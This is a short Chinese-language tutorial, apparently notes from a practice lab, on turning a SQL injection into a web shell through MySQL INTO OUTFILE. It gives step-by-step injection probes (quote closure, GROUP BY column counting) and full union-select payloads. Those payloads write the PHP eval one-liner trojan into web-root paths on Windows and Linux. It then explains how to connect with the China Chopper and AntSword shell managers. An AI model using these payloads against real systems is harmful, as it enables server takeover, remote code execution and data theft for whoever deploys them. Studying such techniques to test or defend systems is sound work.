文件上传拿web shell
MySQL文件上传要点
- show variables like '%secure%'; 用来查看mysql是否有读写文件权限;
主要看secure_file_priv,value值为空意味着当前mysql程序可以对我所有硬盘的路径进行读写,如果后面是指定的路径C盘或者D盘下某一文件夹的话,只能在这一文件夹下去写;如果里面是NULL说明我不能在当前目标服务器上进行读写(使用mysql) - 数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限;
- into outfile 命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径。
- 若要把secure_file_priv的value值改为空:找到mysql文件下的my.ini文件,在[mysqld]下写入secure_file_priv=''(注意单引号内没有空格!!!),然后进入小皮面板重启MySQL服务
Linux环境下实现此功能需要预配置
先用and 1=1 和1=2测试字符型/数字型
?id=1
再测试闭合符和注释符号
?id=1' -- - ?id=1"-- - ?id=1")-- - 这几个在and 1=1和1=2的情况下页面返回情况都相同
用and1=1和1=2测试闭合符是否正确
?id=1')) and 1=1-- -
测试列数
?id=1')) group by 3-- -
测试查询语句
文件上传指令
可直接写在网站,或者当网站有文件包含,数据库有写入一句话木马文件的权限
<?php @eval($_POST['password']);?>为一句话木马 password为预留密码
?id=-1')) union select 1,"<?php @eval($_POST['password']);?>",3 into outfile "D:\\phpstudy_pro\\WWW\\ben.php" -- -
D:\\phpstudy_pro\\WWW\\为文件路径
ben.php为新插入的文件名
成功上传后,使用蚁剑连接目标靶场
Linux下
~#cd /var/www/html/text/ 打开文件夹
#ls ls查看test文件夹内文件
?id=-1')) union select 1,2,"<?php @eval($_POST['a']);?>" into outfile "/var/www/html/text/a.php"-- - 页面会报错,但是已经执行
#ls ls查看text文件夹里已经存在新文件a.php
#vim a.php
中国菜刀用法,打开中国菜刀,右键添加,输入地址https://127.0.0.1/a.php 密码password,单击添加
上传大马 反弹拿web shell